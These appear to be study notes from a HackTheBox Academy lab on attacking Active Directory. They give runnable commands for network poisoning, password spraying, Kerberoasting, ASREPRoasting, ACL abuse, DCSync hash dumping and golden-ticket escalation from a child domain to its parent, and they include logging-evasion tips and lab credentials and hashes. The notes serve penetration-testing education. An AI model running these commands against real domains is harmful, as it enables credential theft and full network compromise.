HTB Academy - Active Directory Enumeration and Attacks
Initial Enumeration
External Recon
Useful for validating information provided, or to find additional information that can be used in our own penetration test.
- E.g., Credentials, password leaks for the company.
What to look for:
- IP space - ASN, netblocks, DNS entries etc.
- Domain information - Administrators, subdomains, MX/DNS servers, etc.
- Schema format - Valid email accounts, AD usernames, password policies to aid with spraying/brute forcing.
- Data disclosures - Published files, leaks in Git repositories, etc.
- Breach data - Publicly released credentials, etc.
Useful tools:
- Address spaces, ASN - BGP Toolkit, IANA,
arin
,RIPE
- DNS -
Domaintools
, ICANN,viewdns.info
- Social Media (LinkedIn, Twitter)
- Public-facing Company websites
- Cloud and Dev Spaces - GitHub, Cloud storage (
grayhatwarfare.com
), Google dorking - Breach data -
HaveIBeenPwned
,Dehashed
Usernames can be harvested using linkedin2username
.
Internal Enumeration
Key data points to note:
- AD Users
- AD Joined Computers (DCs, file servers, SQL servers, web servers, MX, DB, etc.)
- Key services (Kerberos, NetBIOS, LDAP, DNS)
- Vulnerable hosts and services
Passive Host Identification through captured network packets:
- Using
Wireshark
: Sniff traffic and check for ARP packets, as well as MDNS. - Using
tcpdump
:sudo tcpdump -i ens224
to sniff traffic on a specific interface (make sure to use the interface on the internal network). - On Windows, we can use
pktmon.exe
, which is built into Windows 10. - We can also use
Responder
to passively analyse LLMNR, NBT-NS and MDNS packets; use the-A
option to analyse.
Active Host Identification:
- Use
fping
to do a ping scan:fping -asgq <target CIDR block>
-a
option shows alive targets.-s
option to print stats.-g
to generate a list of targets.-q
to not show per-target results.- Use
nmap
to enumerate the list of alive targets further.
User enumeration:
- Use
kerbrute
, along with user lists likejsmith.txt
andjsmith2.txt
. Pointkerbrute
towards the identified DCs.kerbrute userenum -d INLANEFREIGHT.LOCAL --dc 172.16.5.5 jsmith.txt -o valid_ad_users
LLMNR/NBT-NS Poisoning
Conduct network poisoning and act as a MITM to obtain hashes. This can be done by poisoning LLMNR or NBT-NS for host identification, when DNS fails.
- LLMNR runs on port 5355, NBT-NS runs on port 137.
- We can use
Responder
to poison resolution requests over these protocols. This allows us to capture NTLM hashes.
The basis of this attack depends on the user providing an invalid hostname (e.g., printer01.inlanefreight.local
instead of print01.inlanefreight.local
).
- Our
Responder
instance will then pretend to be the invalid host. Afterwards, the requester sends an authentication request to our instance, which includes the NTLM hash. This hash can be cracked or used in SMB Relay attack.
To prevent these attacks, we can disable LLMNR and NBT-NS.
- LLMNR can be disabled through group policies.
- NBT-NS must be disabled locally on each host.
From Linux
Tools that can be used: Responder
, Inveigh
and Metasploit
.
Responder
on default settings: sudo responder -I <target interface>
.
Useful Responder
options:
-A
for passive analysis.-wf
to start a WPAD rogue proxy server and fingerprint the remote host OS and version.-v
for increased verbosity.-F
for forced WPAD authentication.-P
for proxy authentication.
To crack hashes, we can use hashcat
on mode 5600 (NTLM).
From Windows
Tools that can be used: Inveigh
.
- Note that
Responder
is also available as an executable.
To use Inveigh
:
Import-Module .\Inveigh.ps1
(Get-Command Invoke-Inveigh).Parameters
We can start Inveigh
with LLMNR and NBNS spoofing using:
Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y
Inveigh
also has a C# executable version, which provides an interactive console.
- To run:
.\Inveigh.exe
. - To get all commands available in the interactive console:
HELP
- To view captured hashes:
GET NTLMV2UNIQUE
- To view usernames:
GET NTLMV2USERNAMES
Password Spraying
With valid credentials, we can obtain the password policy remotely using crackmapexec
or rpcclient
:
crackmapexec smb <ip> -u <username> -p <password> --pass-pol
.
SMB Null Session
Using a null SMB session/LDAP anonymous bind, we can also get the password policy.
- (Linux) Sign in using
rpcclient
to a null SMB session, then issue thegetdompwinfo
command to view the password policy. - We can use
enum4linux
for this as well.
From Windows, we can attempt to connect using a null session:
net use \\DC01\ipc$ "" /u:""
- If we wish to try a credential pair, replace
""
with our password wrapped in quotes, and replace/u:""
with our username wrapped in quotes. For example:net use \\DC01\ipc$ "password" /u:guest
LDAP Anonymous Bind
Legacy configuration; we can use LDAP-specific enumeration tools like windapsearch.py
, ldapsearch
, ad-ldapdomaindump.py
etc.
- Using
ldapsearch
, we can get the password policy as follows:ldapsearch -h 172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength
From Windows, we can use net.exe
if we are authenticated:
net accounts
- Alternatively, we can use
PowerView
on PS:
import-module .\PowerView.ps1
Get-DomainPolicy
Default Domain Password Policy
Policy | Default Value |
---|---|
Enforce password history | 24 days |
Maximum password age | 42 days |
Minimum password age | 1 day |
Minimum password length | 7 |
Password must meet complexity requirements | Enabled |
Store passwords using reversible encryption | Disabled |
Account lockout duration | Not set |
Account lockout threshold | 0 |
Reset account lockout counter after | Not set |
Making a target user list
To get a list of valid domain users, we can:
- Use an SMB NULL session to retrieve a complete list of domain users from the DC
- Utilize LDAP anonymous bind to query LDAP anonymously and pull down the domain user list
- Use a tool like
kerbrute
to validate users from a word list (statistically-likely-usernames
orlinkedin2username
) - Using a set of credentials that are provided/captured through
Responder
, or through another password spray with a smaller wordlist
SMB NULL enumeration can be done using enum4linux
, rpcclient
and crackmapexec
:
enum4linux -U 172.16.5.5 | grep "user:" | cut -f2 -d"[" | cut -f1 -d"]"
rpcclient -U "" -N 172.16.5.5
rpcclient $> enumdomusers
crackmapexec smb 172.16.5.5 --users
LDAP anonymous bind enumeration can be done using windapsearch
and ldapsearch
:
ldapsearch -h 172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "(&(objectclass=user))" | grep sAMAccountName: | cut -f2 -d" "
./windapsearch.py --dc-ip 172.16.5.5 -u "" -U
kerbrute
utilises Kerberos pre-authentication, and this is a stealthy way to perform user enumeration as it does not generate the event ID 4625 (Account failed to logon).
- The tool sends a TGT request to the DC using a specified username (event ID 4768 - TGT was requested). If the username is valid, the KDC will prompt for Kerberos pre-authentication. Else, it returns
PRINCIPAL UNKNOWN
. This does not count towards logon failures and does not lock out accounts. - However, when Kerberos pre-authentication is used for password spraying, failed authentication attempts can lock out accounts.
kerbrute userenum -d inlanefreight.local --dc 172.16.5.5 /opt/jsmith.txt
Finally, with valid credentials, we can also get a full list of users using crackmapexec
:
sudo crackmapexec smb 172.16.5.5 -u htb-student -p Academy_student_AD! --users
Password Spraying from Linux
We can use rpcclient
, and check for Authority Name
in the response (which indicates a valid login):
for u in $(cat valid_users.txt);do rpcclient -U "$u%Welcome1" -c "getusername;quit" 172.16.5.5 | grep Authority; done
Alternatively, we can use kerbrute
:
kerbrute passwordspray -d inlanefreight.local --dc 172.16.5.5 valid_users.txt Welcome1
crackmapexec
can also be used:
sudo crackmapexec smb 172.16.5.5 -u valid_users.txt -p Password123 | grep +
If the local administrator password/hash is obtained, we can try to spray the same password or hash across multiple hosts.
- This is due to local administrator password reuse, which can arise due to the use of gold images.
- We can use
crackmapexec
for this. It is worth to target high-value hosts such as SQL or Microsoft Exchange servers.
If we wish to spray NT hashes using crackmapexec
, make sure to use the --local-auth
option, which tells the tool to only attempt log in once on each machine, to reduce the chance of account lockout.
- This is crucial for the built-in administrator.
- Without the
--local-auth
option, the tool attempts to authenticate using the current domain, which can quickly result in account lockouts.
sudo crackmapexec smb --local-auth 172.16.5.0/23 -u administrator -H 88ad09182de639ccc6579eb0849751cf | grep +
Password Spraying from Windows
We can use the DomainPasswordSpray
tool.
- Once we are authenticated, the tool generates a user list from AD, queries the domain password policy and excludes user accounts within one attempt of lock out.
- If we want to provide our own user list, we use the
-UserList
option.
Likewise, we can use kerbrute
on Windows as well.
Credentialed Enumeration
Linux
We can use crackmapexec
for user, group and logged on user enumeration:
- Domain users:
--users
. Crucially, we can view thebadPwdCount
attribute which tells us of accounts that are close to lock out. - Domain groups:
--groups
. This allows us to note down groups of interest. - Logged on domain users:
--loggedon-users
For share enumeration, we can use smbmap
.
For more extensive enumeration options, we can use rpcclient
.
- When enumerating users, we can use the
rid
, or relative identifier of users. The RID is a part of the SID of the user object, and is unique to each user. - However, note that some accounts have the same RID irrespective of host. An example would be the built-in administrator account, with an RID of 500, or
0x1F4
in hexadecimal.
For remote access, we can use psexec.py
or wmiexec.py
.
psexec.py
will start a shell asSYSTEM
.wmiexec.py
starts a shell as the provided user, which may be stealthier thanpsexec
.
For LDAP enumeration, we can use windapsearch
.
- The
--da
option lets us enumerate domain admins group members. - The
-PU
option lets us find privileged users through a recursive search on nested groups.
BloodHound
Ingest AD data through the collector, and visualise it in the GUI.
Running BloodHound:
sudo bloodhound-python -u 'forend' -p 'Klmcargo2' -ns 172.16.5.5 -d inlanefreight.local -c all
- Use the
-c
option to specify what data to collect.
Windows
ActiveDirectory PS Module:
- To import the module for use:
Import-Module ActiveDirectory
, thenGet-Module
to confirm that the module is loaded. - To get information about the domain:
Get-ADDomain
- To get information about a user:
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
. - Here, we check for users with
ServicePrincipalName != NULL
as they may be susceptible to Kerberoasting attack. - To verify domain trusts:
Get-ADTrust -Filter *
*
will return all domain trusts.- To enumerate groups:
Get-ADGroup -Filter * | select name
. - To get info about a group:
Get-ADGroup -Identity "Backup Operators"
- To get group membership:
Get-ADGroupMember -Identity "Backup Operators"
PowerView
Command | Description |
---|---|
Export-PowerViewCSV |
Append results to a CSV file |
ConvertTo-SID |
Convert a User or group name to its SID value |
Get-DomainSPNTicket |
Requests the Kerberos ticket for a specified Service Principal Name (SPN) account |
Domain/LDAP Functions: | |
Get-Domain |
Will return the AD object for the current (or specified) domain |
Get-DomainController |
Return a list of the Domain Controllers for the specified domain |
Get-DomainUser |
Will return all users or specific user objects in AD |
Get-DomainComputer |
Will return all computers or specific computer objects in AD |
Get-DomainGroup |
Will return all groups or specific group objects in AD |
Get-DomainOU |
Search for all or specific OU objects in AD |
Find-InterestingDomainAcl |
Finds object ACLs in the domain with modification rights set to non-built in objects |
Get-DomainGroupMember |
Will return the members of a specific domain group |
Get-DomainFileServer |
Returns a list of servers likely functioning as file servers |
Get-DomainDFSShare |
Returns a list of all distributed file systems for the current (or specified) domain |
GPO Functions: | |
Get-DomainGPO |
Will return all GPOs or specific GPO objects in AD |
Get-DomainPolicy |
Returns the default domain policy or the domain controller policy for the current domain |
Computer Enumeration Functions: | |
Get-NetLocalGroup |
Enumerates local groups on the local or a remote machine |
Get-NetLocalGroupMember |
Enumerates members of a specific local group |
Get-NetShare |
Returns open shares on the local (or a remote) machine |
Get-NetSession |
Will return session information for the local (or a remote) machine |
Test-AdminAccess |
Tests if the current user has administrative access to the local (or a remote) machine |
Threaded ‘Meta’-Functions: | |
Find-DomainUserLocation |
Finds machines where specific users are logged in |
Find-DomainShare |
Finds reachable shares on domain machines |
Find-InterestingDomainShareFile |
Searches for files matching specific criteria on readable shares in the domain |
Find-LocalAdminAccess |
Find machines on the local domain where the current user has local administrator access |
Domain Trust Functions: | |
Get-DomainTrust |
Returns domain trusts for the current domain or a specified domain |
Get-ForestTrust |
Returns all forest trusts for the current forest or a specified forest |
Get-DomainForeignUser |
Enumerates users who are in groups outside of the user’s domain |
Get-DomainForeignGroupMember |
Enumerates groups with users outside of the group’s domain and returns each foreign member |
Get-DomainTrustMapping |
Will enumerate all trusts for the current domain and any others seen. |
The -Recurse
option is useful for enumerating nested group memberships.
To acquire credentials or sensitive data in AD environments, we can use Snaffler
.
.\Snaffler.exe -s -d inlanefreight.local -o snaffler.log -v data
-s
prints output to the console.-d
specifies the domain.-o
logs output to a logfile.-v
specifies the verbosity level.
BloodHound
On Windows, we run SharpHound.exe
to collect data:
.\SharpHound.exe -c All --zipfilename ILFREIGHT
Afterwards, upload the zip file and interact with the GUI.
Start off by typing domain:
into the search bar and look for our domain of interest. Then, we can run a few pre-built queries for analysis.
Living off the Land
Basic Enumeration Commands
Command | Result |
---|---|
hostname |
Prints the PC’s Name |
[System.Environment]::OSVersion.Version |
Prints out the OS version and revision level |
wmic qfe get Caption,Description,HotFixID,InstalledOn |
Prints the patches and hotfixes applied to the host |
ipconfig /all |
Prints out network adapter state and configurations |
set |
Displays a list of environment variables for the current session (ran from CMD-prompt) |
echo %USERDOMAIN% |
Displays the domain name to which the host belongs (ran from CMD-prompt) |
echo %logonserver% |
Prints out the name of the Domain controller the host checks in with (ran from CMD-prompt) |
systeminfo
provides all of the above information in one single output.
To bypass detection, we can attempt to downgrade PS: powershell.exe -version 2
- This can be helpful in cases where older versions of PS remain installed on a host.
- PS 2.0 and older will not have script block logs on Event Viewer, thus allowing for bypassing of detection.
- However, the command issued to downgrade PS will be logged.
To check firewall status from PS: netsh advfirewall show allprofiles
To check Windows Defender status from cmd
: sc query windefend
- From PS:
Get-MpComputerStatus
To view logged on users: qwinsta
Routing enumeration:
arp -a
to view ARP routes.route print
to view IP routes.
Quick WMI checks
Command | Description |
---|---|
wmic qfe get Caption,Description,HotFixID,InstalledOn |
Prints the patch level and description of the Hotfixes applied |
wmic computersystem get Name,Domain,Manufacturer,Model,Username,Roles /format:List |
Displays basic host information to include any attributes within the list |
wmic process list /format:list |
A listing of all processes on host |
wmic ntdomain list /format:list |
Displays information about the Domain and Domain Controllers |
wmic useraccount list /format:list |
Displays information about all local accounts and any domain accounts that have logged into the device |
wmic group list /format:list |
Information about all local groups |
wmic sysaccount list /format:list |
Dumps information about any system accounts that are being used as service accounts. |
Table of Useful Net Commands (Domain enumeration)
Command | Description |
---|---|
net accounts |
Information about password requirements |
net accounts /domain |
Password and lockout policy |
net group /domain |
Information about domain groups |
net group "Domain Admins" /domain |
List users with domain admin privileges |
net group "domain computers" /domain |
List of PCs connected to the domain |
net group "Domain Controllers" /domain |
List PC accounts of domains controllers |
net group <domain_group_name> /domain |
User that belongs to the group |
net groups /domain |
List of domain groups |
net localgroup |
All available groups |
net localgroup administrators /domain |
List users that belong to the administrators group inside the domain (the group Domain Admins is included here by default) |
net localgroup Administrators |
Information about a group (admins) |
net localgroup administrators [username] /add |
Add user to administrators |
net share |
Check current shares |
net user <ACCOUNT_NAME> /domain |
Get information about a user within the domain |
net user /domain |
List all users of the domain |
net user %username% |
Information about the current user |
net use x: \computer\share |
Mount the share locally |
net view |
Get a list of computers |
net view /all /domain[:domainname] |
Shares on the domains |
net view \computer /ALL |
List shares of a computer |
net view /domain |
List of PCs of the domain |
Note: using net1
instead of net
will execute the same functionality.
- Useful for evasion.
As SYSTEM
, we can run dsquery
to query domain objects.
dsquery user
to query users.dsquery computer
to query computers.dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
for a wildcard search on OU objects.
We can also make use of LDAP search filters for our queries.
- Here, we query UAC (user account control) attributes.
OID match strings:
1.2.840.113556.1.4.803
: For exact matches (useful for single attributes).1.2.840.113556.1.4.804
: For any match (useful for multiple attributes).1.2.840.113556.1.4.1941
: For Distinguished Name matches.
Usage example:
dsquery * -filter "(userAccountControl:1.2.840.113556.1.4.803:=8192)"
- This queries for domain controller objects.
Logical operators like &
and !
and |
can be used to join queries.
- e.g.,
(&(objectClass=user)(!userAccountControl:1.2.840.113556.1.4.803:=64))
Kerberoasting
Kerberoasting targets Service Principal Name (SPN) accounts. In essence, these are domain accounts used for services, or service accounts.
- SPNs associate service instances with service accounts.
As long as we have valid credentials, we can retrieve TGS tickets for a service account using the SPN.
- Then, crack the ticket offline to get a cleartext password for the account (Note that the ticket is encrypted with the password hash).
- This is crucial as service accounts are usually highly privileged.
To do this, we need valid credentials (password/NT hash/TGT) and the IP of the DC.
From Linux
We can use GetUserSPNs.py
:
- List SPN accounts:
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend
- Request TGS tickets:
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend -request
- Request TGS ticket for specific account:
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend -request-user sqldev
We can use the -outputfile
option to write the TGS tickets to a file for cracking.
Once we have the TGS ticket, we can crack it using hashcat
on mode 13100.
Verify the account permissions by using crackmapexec
, Pwn3d!
should appear to confirm that our account has local admin permissions.
From Windows
Manual method
Using setspn
and mimikatz
.
Enumerate SPNs: .\setspn.exe -Q */*
. Note that this gives computer accounts as well, which we want to ignore.
Request TGS tickets:
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433"
- Here, we are using the
System.IdentityModel
object. - Feed in the SPN as an argument.
This loads the tickets into memory, and we can extract them using mimikatz
.
kerberos::list /export
.
- To export in
base64
format instead, we can specifybase64 /out:true
before running the command. Note that thebase64
encoded string must be converted tokirbi
format.
The kirbi
files can then be converted to john
format using kirbi2john
, and cracked with john
.
- If we want to use
hashcat
, we have to modify the format:sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat
Automated method
Using PowerView:
- To enumerate SPNs:
Get-DomainUser * -spn | select samaccountname
- To get ticket:
Get-DomainUser -Identity sqldev | Get-DomainSPNTicket -Format Hashcat
Using Rubeus
:
- Enumerate Kerberoastable users:
.\Rubeus.exe kerberoast /stats
- Get tickets with no line-wrap:
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap
- This targets administrative accounts.
ACL Abuse
Enumerating ACLs
We can enumerate ACLs with PowerView, using the Find-InterestingDomainAcl
cmdlet.
- However, this will yield too many results for us to sieve through.
A better way is to only review the ACLs of users which we have control over.
- Get the SID of the user using the
Convert-NameToSid
cmdlet, and pass it as a filter to theGet-DomainObjectACL
cmdlet, where we only look for objects which our user has rights to:Get-DomainObjectACL -ResolveGUIDs -Identity * | ? {$_.SecurityIdentifier -eq $sid}
Using BloodHound,
- Set our controlled user as the starting node, then look for outbound control rights.
- Look for transitive object control.
ACL Abuse
Provided scenario:
- Use the
wley
user to change the password for thedamundsen
user - Authenticate as the
damundsen
user and leverageGenericAll
rights to add a user that we control to theHelp Desk Level 1
group - Take advantage of nested group membership in the
Information Technology
group and leverageGenericAll
rights to take control of theadunn
user
First step: authenticate as wley
and create a new password for damundsen
.
- Authenticate as
wley
using aPSCredential
object. - Create a new password as a
SecureString
and useSet-DomainUserPassword
to change the password ofdamundsen
.
Next step: authenticate as damundsen
and add damundsen
to the Help Desk Level 1
group.
Add-DomainGroupMember -Identity 'Help Desk Level 1' -Members 'damundsen' -Credential $Cred2 -Verbose
- Confirm group addition using
Get-DomainGroupMember
.
Final step: Using GenericAll
rights, we can modify SPN of adunn
to execute a Kerberoasting attack.
- Create a fake SPN with
Set-DomainObject -Credential $Cred2 -Identity adunn -SET @{serviceprincipalname='notahacker/LEGIT'} -Verbose
- Kerberoast with
Rubeus
:.\Rubeus.exe kerberoast /user:adunn /nowrap
- Finally, crack the obtained hash with
hashcat
.
DCSync Attack
An attack to steal the AD password database using Directory Replication Service Remote Protocol.
- Request a DC to replicate passwords via the
DS-Replication-Get-Changes-All
extended right. - Domain/enterprise admins and default domain admins have this right.
Extracting NTLM hashes and Kerberos Keys using secretsdump.py
:
secretsdump.py -outputfile inlanefreight_hashes -just-dc INLANEFREIGHT/adunn@172.16.5.5
-just-dc
option extracts NTLM hashes and Kerberos Keys from theNTDS.dit
file.-just-dc-ntlm
option extracts only NTLM hashes.-just-dc-user <USERNAME>
extracts data for a specific user.-pwd-last-set
shows us when each account’s password was last changed.-history
provides a dump of password history.-user-status
allows us to check if a user is disabled.
Note that this can dump cleartext passwords if reversible encryption is enabled for accounts.
- Check using
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol
Attacking using mimikatz
:
- Run PowerShell in the context of the DCSync user:
runas /netonly /user:INLANEFREIGHT\adunn powershell
- Start
mimikatz
:.\mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:INLANEFREIGHT.LOCAL /user:INLANEFREIGHT\administrator" exit
Privileged Access
We can use BloodHound to view the following permissions:
- CanRDP
- CanPSRemote (use WinRM)
- SQLAdmin
With PowerView, we can use Get-NetLocalGroupMember
to enumerate members of the respective groups.
On BloodHound, we can use this query to view WinRM users:
MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:CanPSRemote*1..]->(c:Computer) RETURN p2
To view SQL Admins:
MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:SQLAdmin*1..]->(c:Computer) RETURN p2
- With MSSQL access, we can
enable_xp_cmdshell
to execute commands via the DB. - For example,
xp_cmdshell whoami /priv
Kerberos Double Hop
WinRM/PS authentication using Kerberos does not result in the storage of credentials in memory.
- This results in the credentials not being transferred over multiple hops.
Workaround 1: Using a PSCredential
Object
- Store our login credentials as a
PSCredential
Object, which allows us to pass this object along with our command for authentication using the-credential
option.
Workaround 2: Register-PSSessionConfiguration
Register-PSSessionConfiguration -Name backupadmsess -RunAsCredential inlanefreight\backupadm
- Once done, restart the WinRM Service using
Restart-Service WinRM
- Note that this method doesn’t work on
evil-winrm
as it requires GUI access and a proper PS console.
Bleeding Edge Vulnerabilities
NoPac (SamAccountName Spoofing)
Exploit - changing the SamAccountName of a computer account to that of the Domain Controller.
- Then, request a TGT and change the computer account name back to its original name.
- Now, request a TGS using the TGT with the spoofed DC name. As a result, Kerberos TGS tickets are requested under the name of the DC instead of the expected host (due to a closest name match). This can grant a SYSTEM shell on the DC.
PrintNightmare
Print Spooler vulnerability.
PetitPotam (MS-EFSRPC)
LSA spoofing vulnerability, allows an unauthenticated attacker to coerce a DC to authenticate over another host using NTLM on port 445, via LSARPC.
Misc Misconfigurations
Microsoft Exchange
Exchange Windows Permissions group users can write DACL to the domain, allowing the addition of users.
Organization Management group (Exchange admins) can access user mailboxes.
Dumping credentials can yield NTLM hashes/cleartext credentials due to Outlook and Exchange caching credentials in memory after a successful login.
Notable attack - PrivExchange
attack, which elevates permissions to SYSTEM as Exchange is overprivileged.
Printer Bug
MS-RPRN Printer Bug.
MS14-068
PAC forging, where a KDC will accept a forged PAC. Can be exploited using Impacket or PyKEK
.
LDAP Credential sniffing
A good way to steal LDAP credentials would be to use the test connection
function, and connect to our nc
listener over port 389.
DNS Dumping
We can use adidnsdump
to enumerate DNS records in a domain, which can allow us to find a new attack vector.
adidnsdump -u inlanefreight\\forend ldap://172.16.5.5 -r
Misc
Passwords in Description
or Notes
fields. Can be enumerated with PowerView.
Get-DomainUser * | Select-Object samaccountname,description |Where-Object {$_.Description -ne $null}
PASSWD_NOTREQD
If this field is set, accounts do not need to follow the password policy, nor do they need to have passwords.
Get-DomainUser -UACFilter PASSWD_NOTREQD | Select-Object samaccountname,useraccountcontrol
SMB Shares and SYSVOL Script credentials
Passwords could be found in the SYSVOL
SMB share. If credentials are found, we can attempt to spray these credentials using a tool like CrackMapExec
.
When a new GPP is created, an XML file (Groups.xml
) is created in this share, which can contain passwords.
- The
cpassword
attribute is AES-256 encrypted, but can be decrypted. - We can use a tool like
gpp-decrypt
to decrypt the password. - We can also use a tool like
Get-GPPPassword.ps1
to locate these passwords automatically.
Registry.xml
file can also be found in SYSVOL
share, which may contain credentials.
- We can use
gpp_autologin
module ofcrackmapexec
for this:crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 -M gpp_autologin
ASREPRoasting
We can obtain the TGT for accounts with Do not require Kerberos pre-authentication
setting enabled.
- The authentication service reply (AS_REP) is encrypted with the account password, and any domain user can request this.
Note: if we have GenericWrite
/GenericAll
permissions over an account, we can enable this attribute and do an ASREPRoasting attack.
Enumeration with PowerView
: Get-DomainUser -PreauthNotRequired | select samaccountname,userprincipalname,useraccountcontrol | fl
Rubeus
attack: .\Rubeus.exe asreproast /user:mmorgan /nowrap /format:hashcat
- Then crack using
hashcat
on mode 18200.
Kerbrute
: kerbrute userenum -d inlanefreight.local --dc 172.16.5.5 /opt/jsmith.txt
- Note that the tool automatically does the attack on affected accounts with no Kerberos pre-authentication.
Impacket
: GetNPUsers.py INLANEFREIGHT.LOCAL/ -dc-ip 172.16.5.5 -no-pass -usersfile valid_ad_users
GPO Abuse
Having control of a GPO allows us to add additional rights to a user (SeDebugPrivilege, SeImpersonatePrivilege etc.), add local admins or create scheduled tasks.
Enumeration:
Get-GPO -All | Select DisplayName
PowerView
:Get-DomainGPO | select displayname
Enumerating user GPO rights:
$sid=Convert-NameToSid "Domain Users"
Get-DomainGPO | Get-ObjectAcl | ?{$_.SecurityIdentifier -eq $sid}
View GPO Name (from GUID): Get-GPO -Guid 7CA9C789-14CE-46E3-A722-83F4097AF532
These rights can also be viewed in BloodHound.
We can abuse these misconfigurations by using a tool such as SharpGPOAbuse
.
Domain Trusts
Enumerating trusts:
Import-Module activedirectory
Get-ADTrust -Filter *
- Child domains can be identified by the
IntraForest=True
attribute when callingGet-ADTrust
. - PowerView:
Get-DomainTrust
,Get-DomainTrustMapping
- We can enumerate users in child domains/trusted domains using
Get-DomainUser
Enumeration on cmd
: netdom query /domain:inlanefreight.local trust
- Query DCs:
netdom query /domain:inlanefreight.local dc
- Query workstations:
netdom query /domain:inlanefreight.local workstation
Attacking Child -> Parent Trusts from Windows
SID History - tracks a user’s SIDs in different domains, to ensure access.
- We can inject an administrator account to the SID history of another account, which grants us the permissions of the administrator.
- This attack works only if there is a lack of SID filtering protection (used to protect against cross domain authentication over a trust). We have to spoof the ticket from our compromised child domain.
- Note that our target user (whom we wish to grant more permissions) does not need to exist.
mimikatz
ExtraSids attack:
- Firstly, obtain KRBTGT account hash in the child domain:
mimikatz # lsadump::dcsync /user:LOGISTICS\krbtgt
. This allows us to spoof TGT tickets (golden ticket attack). - Then, get the SID of the child domain using
Get-DomainSID
. - Then, get the SID of the enterprise admins group using
Get-DomainGroup -Domain INLANEFREIGHT.LOCAL -Identity "Enterprise Admins" | select distinguishedname,objectsid
. - Now, using
mimikatz
, create a Golden Ticket:kerberos::golden /user:hacker /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /krbtgt:9d765b482771505cbe97411065964d5f /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /ptt
- We now have a ticket for our user residing in memory (view using
klist
)
Rubeus
: .\Rubeus.exe golden /rc4:9d765b482771505cbe97411065964d5f /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /user:hacker /ptt
- Pass the
krbtgt
account hash, which is RC4 encrypted. /sids
grants our account the same permissions as the enterprise admins group.
With the golden ticket, we can access resources in the parent domain (like file shares in the parent domain DC), or perform another attack like DCSync.
- Test access in parent domain:
ls \\academy-ea-dc01.inlanefreight.local\c$
- DCSync for a user in parent domain:
lsadump::dcsync /user:INLANEFREIGHT\lab_adm /domain:INLANEFREIGHT.LOCAL
The idea here is that we spoof our own hacker
account as an Enterprise Admin in our target parent domain (INLANEFREIGHT.LOCAL
). We then obtain a golden ticket (TGT) for this account which grants us access to resources in the parent domain.
Attacking Child -> Parent Trusts from Linux
We need the same bits of information:
- KRBTGT hash in child domain
- SID of child domain
- Name of a target user in child domain (
hacker
) - FQDN of child domain
- SID of Enterprise Admins group of root domain
DCSync with secretsdump.py
: secretsdump.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 -just-dc-user LOGISTICS/krbtgt
- To get NT hash of
krbtgt
account.
SID Brute-forcing: lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240
- Here, we specify the IP address of the DC in the child domain.
- This returns the SID of the domain, as well as the RIDs of the users. SIDs of users can be derived by appending RID to the end of SID (e.g., if SID of domain is
S-1-5-21-2806153819-209893948-922872689
and RID oflab_adm
user is1001
, then the user SID isS-1-5-21-2806153819-209893948-922872689-1001
) - However, our main interest here is the domain SID.
lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 | grep "Domain SID"
Likewise, we get SID of the Enterprise Admins group in the root domain by using the IP address of the root DC: lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.5 | grep -B12 "Enterprise Admins"
Finally, we can use ticketer.py
to generate golden tickets:
ticketer.py -nthash 9d765b482771505cbe97411065964d5f -domain LOGISTICS.INLANEFREIGHT.LOCAL -domain-sid S-1-5-21-2806153819-209893948-922872689 -extra-sid S-1-5-21-3842939050-3880317879-2865463114-519 hacker
- Child domain SID is under
-domain-sid
option, Enterprise Admins group SID is under-extra-sid
option
The ticket is saved as ccache
file, which we set as our KRB5CCNAME
environment variable:
export KRB5CCNAME=hacker.ccache
Finally, get a SYSTEM shell on the DC using this ticket:
psexec.py LOGISTICS.INLANEFREIGHT.LOCAL/hacker@academy-ea-dc01.inlanefreight.local -k -no-pass -target-ip 172.16.5.5
We can also use raiseChild.py
to automate the escalation of child to parent domain.
- Specify the target DC and credentials for an admin user in the child domain.
raiseChild.py -target-exec 172.16.5.5 LOGISTICS.INLANEFREIGHT.LOCAL/htb-student_adm
Running secretsdump
on a specified user with golden ticket:
secretsdump.py -k -no-pass logistics.inlanefreight.local/hacker@academy-ea-dc01.inlanefreight.local -just-dc-user bross -target-ip 172.16.5.5
Cross-Forest Trust Abuse from Windows
Kerberoasting
Cross Forest Kerberoasting can be useful to obtain credentials for an administrative user in another domain, with Domain/Enterprise Admin privileges in both domains.
Likewise, start off by enumerating accounts with SPNs:
Get-DomainUser -SPN -Domain FREIGHTLOGISTICS.LOCAL | select SamAccountName
- To enumerate the account membership, select
memberof
as well.
Then, Kerberoast the user with Rubeus
, but pass in the /domain
option:
.\Rubeus.exe kerberoast /domain:FREIGHTLOGISTICS.LOCAL /user:mssqlsvc /nowrap
Once the passwords are cracked, it is worth checking for reuse in the other domain.
